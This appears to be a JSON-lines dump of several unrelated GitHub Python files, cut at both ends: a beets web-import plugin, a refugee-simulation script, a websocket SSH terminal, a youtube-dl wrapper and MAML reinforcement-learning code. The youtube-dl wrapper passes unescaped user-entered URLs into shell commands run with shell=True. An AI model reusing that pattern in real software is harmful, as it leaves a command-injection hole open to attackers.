}\r\n if isinstance(o, list):\r\n return [self.default(x) for x in o]\r\n if isinstance(o, AlbumInfo):\r\n return o.__dict__\r\n if isinstance(o, beets.library.Item):\r\n return {\r\n 'title': o.title.strip(),\r\n 'path': o.path,\r\n 'track': o.track,\r\n 'format': o.format,\r\n 'bitrate': o.bitrate,\r\n 'filesize': o.filesize,\r\n 'length': o.length\r\n }\r\n if isinstance(o, beets.library.Album):\r\n return {\r\n 'items': self.default(list(o.items()))\r\n }\r\n return str(o)\r\n\r\n\r\n# Flask setup.\r\n\r\napp = flask.Flask(__name__)\r\napp.url_map.converters['idlist'] = IdListConverter\r\napp.url_map.converters['query'] = QueryConverter\r\napp.url_map.converters['everything'] = EverythingConverter\r\napp.json_encoder = TaskEncoder\r\n\r\nsession: Union[WebImporter, None] = None\r\n\r\n\r\n@app.before_request\r\ndef before_request():\r\n g.lib = app.config['lib']\r\n\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef run_import():\r\n global session\r\n if request.method == 'GET':\r\n return flask.render_template('import.html')\r\n elif request.method == 'POST':\r\n form = request.form\r\n if not form or 'path' not in form or not type(form['path']) is str:\r\n return \"paths must be a set\"\r\n paths = [form['path']]\r\n session = None\r\n session = WebImporter(g.lib, None, paths, None)\r\n session.run()\r\n return flask.render_template('import.html')\r\n\r\n\r\n@app.route('/api/')\r\ndef import_info(task_id):\r\n global session\r\n return jsonify(session.tasks[task_id])\r\n\r\n\r\n@app.route('/api/tasks')\r\ndef get_tasks():\r\n global session\r\n if session:\r\n return jsonify(session.tasks)\r\n return jsonify([])\r\n\r\n\r\n@app.route('/api/candidate', methods=['PUT'])\r\ndef import_choose_candidate():\r\n global session\r\n data = request.get_json()\r\n session.choose_candidate(data['task_index'], data['candidate_index'])\r\n return jsonify(session.tasks[data['task_index']])\r\n\r\n\r\n@app.route('/api/skip', methods=['PUT'])\r\ndef import_skip():\r\n global session\r\n data = request.get_json()\r\n task = session.tasks.pop(data['task_index'])\r\n return jsonify(task)\r\n\r\n\r\n@app.route('/api/searchId', methods=['PUT'])\r\ndef search_id():\r\n global session\r\n data = request.get_json()\r\n task = session.search_id(data['task_index'], data['id'])\r\n return jsonify(task)\r\n\r\n\r\n@app.route('/api/searchName', methods=['PUT'])\r\ndef search_name():\r\n global session\r\n data = request.get_json()\r\n task = session.search_name(data['task_index'], data['artist'],\r\n data['name'])\r\n return jsonify(task)\r\n\r\n\r\n@app.route('/api/asIs', methods=['PUT'])\r\ndef import_as_is():\r\n global session\r\n data = request.get_json()\r\n task = session.tasks[data['task_index']]\r\n task.set_choice(action.ASIS)\r\n if session.resolved_duplicates(data['task_index']):\r\n session.import_task(data['task_index'])\r\n return jsonify(task)\r\n\r\n\r\n@app.route('/api/asTracks', methods=['PUT'])\r\ndef import_as_tracks():\r\n global session\r\n data = request.get_json()\r\n task = session.tasks[data['task_index']]\r\n task.set_choice(action.TRACKS)\r\n session.as_tracks(data['task_index'])\r\n return jsonify(task)\r\n\r\n\r\n@app.route('/api/resolveDuplicates', methods=['PUT'])\r\ndef import_resolve_duplicates():\r\n global session\r\n data = request.get_json()\r\n task = session.tasks[data['task_index']]\r\n if not task.match:\r\n task.set_choice(task.candidates[0])\r\n\r\n sel = data['duplicate_action']\r\n if sel == u'k':\r\n # Keep both. Do nothing; leave the choice intact.\r\n pass\r\n elif sel == u'r':\r\n # Remove old.\r\n task.should_remove_duplicates = True\r\n elif sel == u'm':\r\n session.merge_duplicates(data['task_index'])\r\n return jsonify([])\r\n\r\n session.import_task(data['task_index'])\r\n return jsonify(task)\r\n\r\n\r\n@app.route('/api/apply', methods=['PUT'])\r\ndef import_apply():\r\n global session\r\n data = request.get_json()\r\n task = session.tasks[data['task_index']]\r\n if not task.match:\r\n task.set_choice(task.candidates[0])\r\n if session.resolved_duplicates(data['task_index']):\r\n session.import_task(data['task_index'])\r\n return jsonify(task)\r\n\r\n\r\n# Plugin hook.\r\n\r\nclass WebImportPlugin(BeetsPlugin):\r\n def __init__(self):\r\n super(WebImportPlugin, self).__init__()\r\n self.config.add({\r\n 'host': u'127.0.0.1',\r\n 'port': 8337,\r\n 'cors': '',\r\n 'cors_supports_credentials': False,\r\n 'reverse_proxy': False,\r\n 'include_paths': False,\r\n })\r\n\r\n def commands(self):\r\n cmd = ui.Subcommand('webimport', help=u'start a import web interface')\r\n cmd.parser.add_option(u'-d', u'--debug', action='store_true',\r\n default=False, help=u'debug mode')\r\n\r\n def func(lib, opts, args):\r\n args = ui.decargs(args)\r\n if args:\r\n self.config['host'] = args.pop(0)\r\n if args:\r\n self.config['port'] = int(args.pop(0))\r\n\r\n app.config['lib'] = lib\r\n # Normalizes json output\r\n app.config['JSONIFY_PRETTYPRINT_REGULAR'] = False\r\n\r\n app.config['INCLUDE_PATHS'] = self.config['include_paths']\r\n\r\n # Enable CORS if required.\r\n if self.config['cors']:\r\n self._log.info(u'Enabling CORS with origin: {0}',\r\n self.config['cors'])\r\n from flask_cors import CORS\r\n app.config['CORS_ALLOW_HEADERS'] = \"Content-Type\"\r\n app.config['CORS_RESOURCES'] = {\r\n r\"/*\": {\"origins\": self.config['cors'].get(str)}\r\n }\r\n CORS(\r\n app,\r\n supports_credentials=self.config[\r\n 'cors_supports_credentials'\r\n ].get(bool)\r\n )\r\n\r\n # Allow serving behind a reverse proxy\r\n if self.config['reverse_proxy']:\r\n app.wsgi_app = ReverseProxied(app.wsgi_app)\r\n\r\n # Start the web application.\r\n app.run(host=self.config['host'].as_str(),\r\n port=self.config['port'].get(int),\r\n debug=opts.debug, threaded=True)\r\n\r\n cmd.func = func\r\n return [cmd]\r\n\r\n\r\nclass ReverseProxied(object):\r\n '''Wrap the application in this middleware and configure the\r\n front-end server to add these headers, to let you quietly bind\r\n this to a URL other than / and to an HTTP scheme that is\r\n different than what is used locally.\r\n\r\n In nginx:\r\n location /myprefix {\r\n proxy_pass http://192.168.0.1:5001;\r\n proxy_set_header Host $host;\r\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\r\n proxy_set_header X-Scheme $scheme;\r\n proxy_set_header X-Script-Name /myprefix;\r\n }\r\n\r\n From: http://flask.pocoo.org/snippets/35/\r\n\r\n :param app: the WSGI application\r\n '''\r\n\r\n def __init__(self, app):\r\n self.app = app\r\n\r\n def __call__(self, environ, start_response):\r\n script_name = environ.get('HTTP_X_SCRIPT_NAME', '')\r\n if script_name:\r\n environ['SCRIPT_NAME'] = script_name\r\n path_info = environ['PATH_INFO']\r\n if path_info.startswith(script_name):\r\n environ['PATH_INFO'] = path_info[len(script_name):]\r\n\r\n scheme = environ.get('HTTP_X_SCHEME', '')\r\n if scheme:\r\n environ['wsgi.url_scheme'] = scheme\r\n return self.app(environ, start_response)\r\n","repo_name":"MrNuggelz/beets-web-import","sub_path":"beetsplug/webimport/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":16299,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"71687201068","text":"from typing import Dict\n\nfrom loader.domain.entities import News\nfrom loader.domain.services import NewsSerializer\n\n\nclass DictNewsSerializer(NewsSerializer):\n def serialize(self, news: News) -> Dict[str, str]:\n return {\n 'category': news.category,\n 'headline': news.headline,\n 'authors': news.authors,\n 'link': news.link,\n 'short_description': news.short_description,\n 'date': news.date,\n }\n","repo_name":"DavydjukRoman/news-search","sub_path":"es-initializer/loader/infrastructure/serializers/dict.py","file_name":"dict.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6927619691","text":"import sys\ninput = sys.stdin.readline\nfor _ in range(int(input())):\n n,s=list(map(int, input().split()))\n a=list(map(int, input().split()))\n m=n\n b=[]\n c=0\n\n for i in range(n):\n if a[i]==1:\n b.append(i)\n \n for i in range(len(b)):\n l=0\n r=0\n c+=1\n if c==s:\n if i+1-s>0:\n l=b[i-s]+1\n if i!=len(b)-1:\n r=n-b[i+1]\n m=min(m, l+r)\n c-=1\n \n if s>sum(a):\n m=-1\n print(m)","repo_name":"Raffian-moin/Codeforces-solutions","sub_path":"codeforces/1200/binary_deque.py","file_name":"binary_deque.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38081787601","text":"import numpy as np\nfrom scipy.stats import norm\nimport math\n\ndef q1():\n Q = np.array([[.5, .333], [.5, .25]])\n R = np.array([[.167, 0], [0, .25]])\n\n I2 = np.identity(2)\n\n S = np.linalg.inv(np.subtract(I2, Q))\n SR = np.dot(S, R)\n\n print(\"\\n#1\", SR)\n # sum and display 0th row\n # print(np.sum(S, 1)[0])\n\n\ndef q2():\n Q = np.array([[.5, .5, 0, 0], [12/25, .5, 1/50, 0], [12/25, .5, 0, 1/50], [.5, 0, 0, 0]])\n R = np.array([[0],[0],[0],[.5]])\n\n I = np.identity(4)\n\n S = np.linalg.inv(np.subtract(I, Q))\n\n # sum and display 0th row\n print(\"\\n#2\", np.sum(S, 1)[0])\n\n\ndef q3():\n p = .7\n Q = np.array([[1 - p, p, 0], [0, p, 1-p], [1-p, 0, 0]])\n\n I = np.identity(3)\n\n S = np.linalg.inv(np.subtract(I, Q))\n\n print(\"\\n#3\", np.sum(S, 1)[0])\n\n\ndef q4():\n n = 217\n exp_x = 8\n var_x = 8\n\n exp_s = n * exp_x\n var_s = n * var_x\n\n print(\"\\n#4\", norm.ppf(.9, exp_s, math.sqrt(var_s)))\n\n\nq1()\nq2()\nq3()\nq4()","repo_name":"cadumas01/CSCI2244","sub_path":"HW11/canvas_hw11.py","file_name":"canvas_hw11.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70576769387","text":"import sys\nfrom collections import deque\n\n\nif __name__ == \"__main__\":\n sys.stdin = open(\"input.txt\", \"r\")\n input = lambda: sys.stdin.readline().strip()\n\n N, M = map(int, input().split())\n limits = deque(list(map(int, input().split())) for _ in range(N))\n tests = [list(map(int, input().split())) for _ in range(M)]\n\n for i in range(N-1):\n limits[i+1][0] += limits[i][0]\n\n for i in range(M-1):\n tests[i+1][0] += tests[i][0]\n\n answer = 0\n for test_h, test_s in tests:\n while limits and limits[0][0] < test_h:\n answer = max(answer, test_s - limits[0][1])\n limits.popleft()\n\n if limits and test_h <= limits[0][0]:\n answer = max(answer, test_s - limits[0][1])\n\n if limits and test_h == limits[0][0]:\n limits.popleft()\n\n print(answer)\n","repo_name":"lymchgmk/Algorithm-Problem-Solving","sub_path":"Softeer/Level 2/GBC/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12455790338","text":"from flee import pflee\nfrom datamanager import handle_refugee_data\nfrom datamanager import DataTable #DataTable.subtract_dates()\nfrom flee import InputGeography\nimport numpy as np\nimport outputanalysis.analysis as a\nimport sys\n\ndef AddInitialRefugees(e, loc):\n \"\"\" Add the initial refugees to a location, using the location name\"\"\"\n num_refugees = 1000\n for i in range(0, num_refugees):\n e.addAgent(location=loc)\n\ndef date_to_sim_days(date):\n return DataTable.subtract_dates(date,\"2010-01-01\")\n\n\nif __name__ == \"__main__\":\n\n end_time = 10\n last_physical_day = 10\n\n if len(sys.argv)>1:\n if (sys.argv[1]).isnumeric():\n end_time = int(sys.argv[1])\n last_physical_day = int(sys.argv[1])\n else:\n end_time = 10\n last_physical_day = 10\n duration = flee.SimulationSettings.SimulationSettings.ReadFromCSV(sys.argv[1])\n if duration>0:\n end_time = duration\n last_physical_day = end_time\n\n e = pflee.Ecosystem()\n\n ig = InputGeography.InputGeography()\n\n ig.ReadLocationsFromCSV(\"examples/testcity/locations.csv\")\n\n ig.ReadLinksFromCSV(\"examples/testcity/routes.csv\")\n\n ig.ReadClosuresFromCSV(\"examples/testcity/closures.csv\")\n\n e,lm = ig.StoreInputGeographyInEcosystem(e)\n\n #print(\"Network data loaded\")\n\n #d = handle_refugee_data.RefugeeTable(csvformat=\"generic\", data_directory=\"test_data/test_input_csv/refugee_data\", start_date=\"2010-01-01\", data_layout=\"data_layout.csv\")\n\n output_header_string = \"Day,\"\n\n camp_locations = [\"N\",\"E\",\"S\",\"W\"]\n #TODO: Add Camps from CSV based on their location type.\n\n for l in camp_locations:\n AddInitialRefugees(e,lm[l])\n output_header_string += \"%s sim,%s data,%s error,\" % (lm[l].name, lm[l].name, lm[l].name)\n\n if e.getRankN(0):\n output_header_string += \"Total error,refugees in camps (UNHCR),total refugees (simulation),raw UNHCR refugee count,refugees in camps (simulation),refugee_debt\"\n print(output_header_string)\n\n # Set up a mechanism to incorporate temporary decreases in refugees\n refugee_debt = 0\n refugees_raw = 0 #raw (interpolated) data from TOTAL UNHCR refugee count only.\n\n for t in range(0,end_time):\n\n #if t>0:\n ig.AddNewConflictZones(e,t)\n\n # Determine number of new refugees to insert into the system.\n new_refs = 1000\n refugees_raw += new_refs\n\n if new_refs < 0:\n refugee_debt = -new_refs\n new_refs = 0\n elif refugee_debt > 0:\n refugee_debt = 0\n\n #Insert refugee agents\n e.add_agents_to_conflict_zones(new_refs)\n\n e.refresh_conflict_weights()\n t_data = t\n\n e.enact_border_closures(t)\n e.evolve()\n\n #Calculation of error terms\n errors = []\n abs_errors = []\n\n camps = []\n for i in camp_locations:\n camps += [lm[i]]\n\n # calculate retrofitted time.\n refugees_in_camps_sim = 0\n for c in camps:\n refugees_in_camps_sim += c.numAgents\n\n if e.getRankN(t):\n output = \"%s\" % t\n\n for i in range(0,len(camp_locations)):\n output += \",%s\" % (lm[camp_locations[i]].numAgents)\n\n if refugees_raw>0:\n output += \",%s,%s\" % (e.numAgents(), refugees_in_camps_sim)\n else:\n output += \",0,0\"\n\n\n print(output)\n","repo_name":"djgroen/flee-release","sub_path":"testcity.py","file_name":"testcity.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"37"} +{"seq_id":"16318366719","text":"# -*- coding: utf-8 -*-\r\nfrom channels.generic.websocket import AsyncWebsocketConsumer\r\nfrom asgiref.sync import async_to_sync\r\nfrom .models import SshOperationLogs, Certificate, Server\r\nimport paramiko\r\nimport select\r\nimport time\r\nimport socket\r\nimport sys\r\n\r\nMAX_DATA_BUFFER = 1024*1024\r\n\r\nclass MyConsumer(AsyncWebsocketConsumer):\r\n\r\n async def connect(self):\r\n stream = self.scope[\"url_route\"][\"kwargs\"]\r\n if stream:\r\n try:\r\n sid = stream['sid']\r\n inoex = stream['inoex']\r\n cid = stream['cid']\r\n except Exception as _:\r\n await self.send(text_data='连接失败,请检查实例和凭证')\r\n else:\r\n cert_obj = Certificate.objects.get(id=int(cid))\r\n server_obj = Server.objects.get(id=int(sid))\r\n conn_ip = getattr(server_obj, inoex)\r\n\r\n await self.accept()\r\n self.hostname = conn_ip\r\n port = cert_obj.port\r\n username = cert_obj.username\r\n password = cert_obj.key\r\n self.ssh = paramiko.SSHClient()\r\n self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\r\n try:\r\n self.ssh.connect(\r\n hostname=self.hostname,\r\n port=port,\r\n username=username,\r\n password=password,\r\n timeout=15\r\n )\r\n self.data = self.ssh.invoke_shell(term='xterm')\r\n a_control = 0\r\n while a_control < 3:\r\n result = self.data.recv(512).decode()\r\n await self.send(result)\r\n if not result:\r\n break\r\n a_control += 1\r\n except Exception as _:\r\n await self.send(text_data='连接失败')\r\n await self.close()\r\n\r\n async def receive(self, text_data=None, bytes_data=None,**kwargs):\r\n self.data.send(text_data)\r\n self.text_data = text_data\r\n # time.sleep(0.1)\r\n readlist, writelist, errlist = select.select([self.data], [], [])\r\n if self.data in readlist:\r\n ret = self.data.recv(MAX_DATA_BUFFER)\r\n await self.send(text_data=ret.decode())\r\n\r\n async def disconnect(self, message, **kwargs):\r\n try:\r\n await self.ssh.close()\r\n result = \"Ssh close success!\"\r\n except:\r\n result = \"Ssh close Faild!\"\r\n await self.close()\r\n # try:\r\n # add_log = SshOperationLogs()\r\n # add_log.user = self.scope[\"user\"]\r\n # add_log.host = self.hostname\r\n # add_log.operation_record = self.text_data\r\n # add_log.save()\r\n # except AttributeError as e:\r\n # pass\r\n\r\n","repo_name":"fanmiao1/devops","sub_path":"cloudops/devops/opscenter/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":2957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11751494465","text":"import subprocess\r\nimport os\r\n\r\n\r\n\"\"\"\r\n\tYouTube Downloader used to download the best quality \r\n\taudio, \r\n\tvideo,\r\n\tPlaylist of audio files,\r\n\tPlaylist of video files\r\n\tfrom a URL belonging to https://www.youtube.com/\r\n\t\r\n\tStarted working on : 21-06-2017\r\n\tDone by : Jaivarsan B\r\n\temail : jaiimmortal@gmail.com\r\n\r\n\r\n\tProject was done as a hobby, with no intention to violate any copyrights.\r\n\t\r\n\"\"\"\r\n\r\n\r\ndef video_link():\r\n return input('Enter a valid URL from YouTube ')\r\n\r\n\r\ndef playlist_link():\r\n return input('Enter a valid entire playlist link from YouTube ')\r\n\r\n\r\ndef quality_input():\r\n quality = ['240', '360', '480', '720']\r\n print(\"\\nPlease select quality\")\r\n userInput = int(input(\r\n '\\n\\t[1] 240p \\n\\t[2] 360p \\n\\t[3] 480p \\n\\t[4] 720p \\n\\t[5] Default (best available quality)\\n'))\r\n if userInput == 5:\r\n return \"\"\r\n else:\r\n return '-f \"bestvideo[height<={q}]+bestaudio/best[height<={q}]\"'.format(q=quality[userInput-1])\r\n\r\n\r\ndef main():\r\n\r\n try:\r\n\r\n choice = int(input(\r\n 'Enter \\n\\t[1] Video \\n\\t[2] Playlist of video files \\n\\t[3] Audio \\n\\t[4] Playlist of audio files\\n'))\r\n\r\n if choice == 1:\r\n url = video_link()\r\n subprocess.call('youtube-dl -o \"Video downloads from youtube-dl/%(title)s.%(ext)s\" -q --no-playlist --no-warnings {quality} \"{url}\"'.format(\r\n quality=quality_input(), url=url), shell=True)\r\n print('\\n\\nThe process is over and your file is probably residing in ' +\r\n os.getcwd() + '/Video downloads from youtube-dl')\r\n\r\n elif choice == 2:\r\n url = playlist_link()\r\n subprocess.call('youtube-dl -i -o \"%(playlist)s/%(playlist_index)s.%(title)s.%(ext)s\" --yes-playlist --newline --no-warnings {quality} \"{url}\"'.format(\r\n quality=quality_input(), url=url), shell=True)\r\n print('\\n\\nThe process is over and currently residing in the current working directgory with the name of the folder same as that of playlist!')\r\n\r\n elif choice == 3:\r\n url = video_link()\r\n subprocess.call(\r\n 'youtube-dl -f 251 -o \"Audio downloads from youtube-dl/%(title)s.%(ext)s\" -q --no-playlist --extract-audio --audio-format mp3 --xattrs --embed-thumbnail --audio-quality 0 --no-warnings \"{url}\"'.format(url=url), shell=True)\r\n print('\\n\\nThe process is over and your file is probably residing in ' +\r\n os.getcwd() + '/Audio downloads from youtube-dl')\r\n\r\n elif choice == 4:\r\n url = playlist_link()\r\n subprocess.call(\r\n 'youtube-dl -i -o \"%(playlist)s/%(playlist_index)s.%(title)s.%(ext)s\" --yes-playlist --extract-audio --audio-format mp3 --xattrs --embed-thumbnail --audio-quality 0 --no-warnings \"{url}\"'.format(url=url), shell=True)\r\n print('\\n\\nThe process is over and currently residing in the current working directgory with the name of the folder same as that of playlist!')\r\n\r\n except Exception as e:\r\n print(e)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n main()\r\n","repo_name":"greed2411/YDL","sub_path":"ydl-lite.py","file_name":"ydl-lite.py","file_ext":"py","file_size_in_byte":3099,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"74810745386","text":"import tensorflow as tf\nimport numpy as np\nfrom self_implement_learning_to_adapt.model import construct_fc_weights,construct_inputs,construct_loss,forward_fc\nfrom self_implement_learning_to_adapt.batch_sampler import ParrallelSampler\nfrom self_implement_learning_to_adapt.vectorized_sampler import VectorizedSampler\nfrom rllab.misc import ext\nimport matplotlib.pyplot as plt\nimport scipy.signal as signal\nfrom rllab.sampler.stateful_pool import singleton_pool\n\nclass MAML(object):\n def __init__(self,\n step_size,\n env,\n batch_size,\n meta_batch_size,\n seed,\n n_itr,\n max_path_length,\n num_grad_updates,\n baseline,\n policy,\n num_samples = 1000,\n scope = None,\n sess = None,\n center_adv=True,\n positive_adv=False,\n store_paths=False,\n whole_paths=True,\n fixed_horizon=False,\n load_policy = False,\n fake_env = None,\n save_video = False,\n fast_lr = 0.1,\n lr = 0.001,\n discount = 0.99,\n gae_lambda = 1,\n ):\n self.step_size = step_size\n self.env = env\n self.fake_env = fake_env\n self.batch_size = batch_size\n self.meta_batch_size = meta_batch_size\n self.seed = seed\n self.n_itr = n_itr\n self.max_path_length = max_path_length\n self.num_grad_updates = num_grad_updates\n self.discount = discount\n self.baseline = baseline\n self.gae_lambda = gae_lambda\n self.policy = policy\n self.center_adv = center_adv\n self.positive_adv = positive_adv\n self.store_paths = store_paths\n self.whole_paths = whole_paths\n self.fixed_horizon = fixed_horizon\n self.load_policy = load_policy\n self.scope = scope\n self.num_samples = num_samples\n self.s_size = self.env.observation_space.shape[0]\n self.a_size = self.env.action_space.shape[0]\n print(self.s_size, self.a_size)\n\n self.lr = lr\n self.fast_lr = fast_lr\n self.loss_list = []\n self.reward_list = []\n self.fig = None\n self.save_video = save_video\n self.train_action_inputs, self.train_state_inputs, self.train_goal_inputs = [], [], []\n self.test_action_inputs, self.test_state_inputs, self.test_goal_inputs = [], [], []\n # select sampler\n if singleton_pool.n_parallel >1:\n self.sampler = ParrallelSampler(self, n_envs= self.meta_batch_size)\n else:\n self.sampler = VectorizedSampler(self, n_envs= self.meta_batch_size)\n\n # define trainer\n self.trainer = tf.train.AdamOptimizer(learning_rate=self.lr)\n\n # this is a hacker\n self.f_action_inputs, self.f_state_inputs, self.f_goal = construct_inputs(self.s_size, self.a_size, \"first_test\")\n with tf.variable_scope(\"meta_rl_global\"):\n self.old_params = construct_fc_weights(self.s_size, self.s_size+ self.a_size, num_hidden= 512)\n self.first_outputs = forward_fc(self.f_action_inputs, self.f_state_inputs, self.old_params, reuse= False)\n self.f_loss = construct_loss(self.first_outputs, self.f_goal)\n self.f_optimizer = self.trainer.minimize(self.f_loss)\n\n # construct input tensors\n self.construct_tensor_graph()\n\n self.saver = tf.train.Saver()\n\n def construct_tensor_graph(self):\n '''\n build maml final graph, directly optimize the initial prior model\n :return:\n '''\n self.test_outputs, self.train_outputs, self.new_params, self.train_goal_inputs = [], [], [], []\n # construct inputs and network for each meta task\n for i in range(self.meta_batch_size):\n tensor_action_inputs, tensor_state_inputs, tensor_goal_inputs = construct_inputs(a_size=self.a_size, s_size=self.s_size,\n scpoe=\"train_inputs\" + str(i))\n outputs = forward_fc(tensor_action_inputs, tensor_state_inputs, weights=self.old_params,\n reuse=True)\n self.train_action_inputs.append(tensor_action_inputs)\n self.train_state_inputs.append(tensor_state_inputs)\n self.train_goal_inputs.append(tensor_goal_inputs)\n self.train_outputs.append(outputs)\n # maml train case, do first gradients\n for i in range(self.meta_batch_size):\n loss = construct_loss(self.train_outputs[i], self.train_goal_inputs[i])\n\n grads = tf.gradients(loss, list(self.old_params.values()))\n gradients = dict(zip(self.old_params.keys(), grads))\n # save the params\n self.new_params.append(dict(zip(self.old_params.keys(),\n [self.old_params[key] - self.fast_lr * gradients[key] for key in\n self.old_params.keys()])))\n\n # maml test case, second order gradients\n for i in range(self.meta_batch_size):\n tensor_action_inputs, tensor_state_inputs, tensor_goal_inputs = construct_inputs(a_size=self.a_size, s_size=self.s_size,\n scpoe=\"test_inputs\" + str(i))\n outputs = forward_fc(tensor_action_inputs, tensor_state_inputs, weights=self.new_params[i],\n reuse=True)\n self.test_action_inputs.append(tensor_action_inputs)\n self.test_state_inputs.append(tensor_state_inputs)\n self.test_goal_inputs.append(tensor_goal_inputs)\n self.test_outputs.append(outputs)\n self.cur_params = [self.old_params for i in range(self.meta_batch_size)]\n\n # define total loss\n self.total_loss_list = []\n for i in range(self.meta_batch_size):\n # save the params\n self.total_loss_list.append(construct_loss(self.test_outputs[i], self.test_goal_inputs[i]))\n with tf.variable_scope(\"total_loss\"):\n self.total_loss_before = tf.reduce_mean(tf.stack(self.total_loss_list))\n self.second_gradients = self.trainer.minimize(self.total_loss_before, var_list= self.old_params)\n\n def obtain_samples(self, itr, init_state, reset_args ):\n paths = self.sampler.obtain_samples(itr,init_state = init_state,reset_args= reset_args, return_dict= True)\n return paths\n\n def process_samples(self, itr, path):\n return self.sampler.process_samples(itr, path, log = False)\n\n def update_target_graph(self, params, to_scope):\n to_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, to_scope)\n\n op_holder = []\n for from_var, to_var in zip(params, to_vars):\n op_holder.append(to_var.assign(from_var))\n return op_holder\n\n def cheetah_cost_fn(self,state, action, next_state):\n if len(state.shape) > 1:\n heading_penalty_factor = 10\n scores = np.zeros((state.shape[0],))\n\n # dont move front shin back so far that you tilt forward\n front_leg = state[:, 5]\n my_range = 0.2\n scores[front_leg >= my_range] += heading_penalty_factor\n\n front_shin = state[:, 6]\n my_range = 0\n scores[front_shin >= my_range] += heading_penalty_factor\n\n front_foot = state[:, 7]\n my_range = 0\n scores[front_foot >= my_range] += heading_penalty_factor\n\n scores -= (next_state[:, 17] - state[:, 17]) / 0.01 + 0.1 * (np.sum(action**2, axis=1))\n return scores\n\n heading_penalty_factor = 10\n score = 0\n\n # dont move front shin back so far that you tilt forward\n front_leg = state[5]\n my_range = 0.2\n if front_leg >= my_range:\n score += heading_penalty_factor\n\n front_shin = state[6]\n my_range = 0\n if front_shin >= my_range:\n score += heading_penalty_factor\n\n front_foot = state[7]\n my_range = 0\n if front_foot >= my_range:\n score += heading_penalty_factor\n\n score -= (next_state[17] - state[17]) / 0.01 + 0.1 * (np.sum(action**2))\n return score\n\n def MPC(self,itr, num_samples, init_state, goal):\n\n '''\n # disable multiple joints\n adv_list = np.zeros([num_samples])\n old_obs = np.asarray([init_state for i in range(num_samples)])\n new_obs = old_obs\n for i in range(self.batch_size):\n action = (np.random.rand(num_samples, self.a_size)-0.5)*2\n action[:, goal] = 0.0\n if i == 0:\n action_list = action\n diff = self.sess.run(self.first_outputs, feed_dict={self.f_state_inputs: np.asarray(new_obs).reshape([-1,self.s_size]),\n self.f_action_inputs: np.asarray(action).reshape([-1,self.a_size])})\n new_obs = diff + old_obs\n rewards = diff[:,17]/0.01 - 0.05 * np.sum(np.square(action),axis=1)\n adv_list[:] += rewards\n\n index = np.argmax(adv_list)\n return action_list[index]\n\n '''\n\n # multi friction\n adv_list = np.zeros([num_samples])\n old_obs = np.asarray([init_state for i in range(num_samples)])\n new_obs = old_obs\n for i in range(self.batch_size):\n action = (np.random.rand(num_samples, self.a_size)-0.5)*2\n if i == 0:\n action_list = action\n diff = self.sess.run(self.first_outputs, feed_dict={self.f_state_inputs: np.asarray(new_obs).reshape([-1,self.s_size]),\n self.f_action_inputs: np.asarray(action).reshape([-1,self.a_size])})\n new_obs = diff + old_obs\n #angle = np.arccos(old_obs[:,0]/goal)\n #rewards = -((((angle+np.pi) % (2*np.pi)) - np.pi) **2 + old_obs[:,2]**2*0.1 + 0.001* np.sum((action)**2))\n rewards = diff[:,17]/0.01 - 0.05 * np.sum(np.square(action), axis=1)#self.cheetah_cost_fn(old_obs, action, new_obs)\n adv_list[:] += rewards\n\n index = np.argmax(adv_list)\n return action_list[index]\n\n\n def meta_online_train(self, goal):\n '''\n meta online adaption: load prior meta model, select action by doing MPC, adapt model in each step\n :param goal: sample task\n :return:\n '''\n self.goal = goal\n self.sess = tf.Session()\n with self.sess as sess:\n\n self.summary_writer = tf.summary.FileWriter(\"./graph/\", self.sess.graph)\n\n loss_plot = None\n loss_summary = tf.Summary()\n loss_summary.value.add(tag='loss', simple_value=loss_plot)\n reward_plot = None\n reward_summary = tf.Summary()\n reward_summary.value.add(tag = 'reward', simple_value = reward_plot)\n diff_plot = None\n diff_summary = tf.Summary()\n diff_summary.value.add(tag='state_difference', simple_value=diff_plot)\n\n\n if self.load_policy:\n sess.run(tf.global_variables_initializer())\n self.saver.restore(sess, tf.train.latest_checkpoint('./half_cheetah_model/'))\n self.sampler.start_worker()\n else:\n sess.run(tf.global_variables_initializer())\n self.sampler.start_worker()\n\n self.env = self.env.wrapped_env\n self.env.reset(reset_args=goal) # set the goal for env\n nstep = 0\n for itr in range(self.n_itr):\n rewards = []\n obs, act, diffs, images = [], [], [], []\n new_state = self.env.reset()\n for step in range(self.max_path_length):\n #if step>int(self.max_path_length)*0.7:\n # self.env.render()\n if len(act) > 0:\n indices = np.random.randint(0, len(act), len(act))\n _ = sess.run([ self.f_optimizer],\n feed_dict={self.f_action_inputs: np.asarray(act)[indices,:],\n self.f_state_inputs: np.asarray(obs)[indices,:],\n self.f_goal: np.asarray(diffs)[indices,:]})\n loss, output = sess.run([self.f_loss,self.first_outputs], feed_dict={self.f_action_inputs: np.asarray(act)[indices,:],\n self.f_state_inputs: np.asarray(obs)[indices,:],\n self.f_goal: np.asarray(diffs)[indices,:]})\n #diff = np.mean(abs(np.asarray(obs[1:-1])-np.asarray(obs[0:-2]) - output[0:-2]))\n #diff_summary.value[0].simple_value = diff\n loss_summary.value[0].simple_value = loss\n self.summary_writer.add_summary(loss_summary, nstep)\n self.summary_writer.add_summary(diff_summary, nstep)\n\n obs.append(new_state)\n if step%100 == 0:\n print(\"Doing MPC, step:\", step)\n\n action = self.MPC(itr = itr, 